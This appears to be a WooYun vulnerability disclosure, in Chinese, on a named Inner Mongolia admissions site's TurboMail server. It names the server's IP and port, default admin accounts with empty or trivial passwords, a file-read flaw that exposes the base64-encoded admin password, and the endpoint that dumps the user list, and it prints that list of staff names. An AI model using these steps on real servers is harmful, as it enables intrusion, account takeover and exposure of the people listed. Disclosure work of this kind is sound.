WooYun.org

内蒙古招生考试信息网http://116.113.33.130:8080 使用的TurboMail低版本
后台可以使用 sec_bm 或sec_sj 的空密码登陆（sec_bm密码改为 sec_bm）
使用读文件漏洞读得 管理员的密码为base64加密 破解进入后台

读取所有用户

/mailmain?intertype=ajax&type=getAllUserList_simple

{"ret_code":0,"users":[{"useraccount":"[email protected]","firstname":"1c"},{"useraccount":"[email protected]","firstname":"23c"},{"useraccount":"[email protected]","firstname":"4c"},{"useraccount":"[email protected]","firstname":"admin"},{"useraccount":"[email protected]","firstname":"阿拉塔"},{"useraccount":"[email protected]","firstname":"阿其拉勒"},{"useraccount":"[email protected]","firstname":"阿如娜"},{"useraccount":"[email protected]","firstname":"阿日新"},{"useraccount":"[email protected]","firstname":"bgs"},{"useraccount":"[email protected]","firstname":"布和"},{"useraccount":"[email protected]","firstname":"包世恩"},{"useraccount":"[email protected]","firstname":"白双山"},{"useraccount":"[email protected]","firstname":"白涛"},{"useraccount":"[email protected]","firstname":"白托雅"},{"useraccount":"[email protected]","firstname":"蔡斐"},{"useraccount":"[email protected]","firstname":"陈凯"},{"useraccount":"[email protected]","firstname":"段志"},{"useraccount":"[email protected]","firstname":"格日乐"},{"useraccount":"[email protected]","firstname":"红红"},{"useraccount":"[email protected]","firstname":"韩荣飞"},{"useraccount":"[email protected]","firstname":"jcs"},{"useraccount":"[email protected]","firstname":"焦红梅"},{"useraccount":"[email protected]","firstname":"贾汀微"},{"useraccount":"[email protected]","firstname":"姜玉鹏"},{"useraccount":"[email protected]","firstname":"贾治国"},{"useraccount":"[email protected]","firstname":"kszx"},{"useraccount":"[email protected]","firstname":"李秉业"},{"useraccount":"[email protected]","firstname":"ld"},{"useraccount":"[email protected]","firstname":"李海容"},{"useraccount":"[email protected]","firstname":"李涛"},{"useraccount":"[email protected]","firstname":"刘斐"},{"useraccount":"[email protected]","firstname":"刘亚平"},{"useraccount":"[email protected]","firstname":"李卿"},{"useraccount":"[email protected]","firstname":"李彤"},{"useraccount":"[email protected]","firstname":"刘小凤"},{"useraccount":"[email protected]","firstname":"刘英萍"},{"useraccount":"[email protected]","firstname":"苗中文"},{"useraccount":"[email protected]","firstname":"米益平"},{"useraccount":"nobody@root","firstname":""},{"useraccount":"postmaster@root","firstname":""},{"useraccount":"[email protected]","firstname":"乔惠莉"},{"useraccount":"[email protected]","firstname":"曲晓"},{"useraccount":"[email protected]","firstname":"任俊莲"},{"useraccount":"sec_bm@root","firstname":""},{"useraccount":"sec_sj@root","firstname":""},{"useraccount":"[email protected]","firstname":"孙海东"},{"useraccount":"[email protected]","firstname":"孙慧莉"},{"useraccount":"[email protected]","firstname":"史建华"},{"useraccount":"[email protected]","firstname":"尚利"},{"useraccount":"[email protected]","firstname":"孙立涛"},{"useraccount":"[email protected]","firstname":"苏林英"},{"useraccount":"[email protected]","firstname":"孙淑娟"},{"useraccount":"[email protected]","firstname":"石岩"},{"useraccount":"[email protected]","firstname":"陶学书"},{"useraccount":"[email protected]","firstname":"王鸿义"},{"useraccount":"[email protected]","firstname":"吴琳琳"},{"useraccount":"[email protected]","firstname":"伟明"},{"useraccount":"[email protected]","firstname":"王鹏"},{"useraccount":"[email protected]","firstname":"王铁民"},{"useraccount":"[email protected]","firstname":"王一囡"},{"useraccount":"[email protected]","firstname":"王织春"},{"useraccount":"[email protected]","firstname":"肖海波"},{"useraccount":"[email protected]","firstname":"xxzx"},{"useraccount":"[email protected]","firstname":"许永和"},{"useraccount":"[email protected]","firstname":"邢宜静"},{"useraccount":"[email protected]","firstname":"岳丹"},{"useraccount":"[email protected]","firstname":"云宇"},{"useraccount":"[email protected]","firstname":"翟成珺"},{"useraccount":"[email protected]","firstname":"张国亮"},{"useraccount":"[email protected]","firstname":"张华"},{"useraccount":"[email protected]","firstname":"张培文"},{"useraccount":"[email protected]","firstname":"张瑞"},{"useraccount":"[email protected]","firstname":"赵文光"},{"useraccount":"[email protected]","firstname":"赵文明"},{"useraccount":"[email protected]","firstname":"赵智赟"}]}
获取admin用户的密码
得知admin邮箱为微信平台邮箱

使用admin密码登陆微信平台 （不要使用一样的管理密码）

到这里邮箱系统 和微信公共号 沦陷 （一点猜测 邮箱使用的管理密码为通用密码 因为时间节点比较敏感 没有继续深入）
注：一些用户的初始密码为123456 已被人用来发送垃圾邮件